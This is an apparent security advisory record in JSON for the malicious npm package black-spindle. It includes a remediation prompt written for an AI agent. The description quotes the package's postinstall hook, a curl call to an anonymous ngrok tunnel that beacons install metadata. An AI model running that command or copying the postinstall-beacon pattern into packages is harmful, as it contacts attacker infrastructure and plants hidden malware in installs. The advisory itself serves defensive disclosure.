{"answers":{"affected":"1 open source package ship an affected version, including black-spindle.","exploited":"There is no known exploitation of MAL-2026-18359 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-18359 is a malicious package in black-spindle, published on 28 Oct 2026."},"fix_prompt":"MAL-2026-18359 is a malicious package: black-spindle (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-18359/ (Markdown: https://insights.sbomify.com/MAL-2026-18359/index.md)","id":"MAL-2026-18359","markdown":"https://insights.sbomify.com/MAL-2026-18359/index.md","name":"MAL-2026-18359","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"black-spindle@999.0.0 declares a `postinstall` lifecycle hook in package.json that executes `curl http://778e-181-63-25-28.ngrok-free.app/test` on every `npm install`. The destination is a short-lived, anonymous ngrok-free.app HTTPS/HTTP tunnel unrelated to any declared publisher, contacted over plain HTTP with no pinning or verification. The shipped `index.js` is an empty stub, so the manifest's lifecycle hook is the package's entire effect: installing the package causes the installer's host to contact an attacker-controlled endpoint and discloses install-time metadata (source IP, timing, user-agent) to that endpoint. The 999.0.0 version and single-line postinstall-beacon shape are consistent with dependency-confusion / install-telemetry beaconing rather than a legitimate library.\n\nThe OpenSSF Package Analysis project identified 'black-spindle' @ 999.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in black-spindle (npm)","id":"MAL-2026-18359","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"black-spindle","purl":"pkg:npm/black-spindle","source":"MAL-2026-18359"}],"products":null,"published":"2026-10-28","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-18359/"}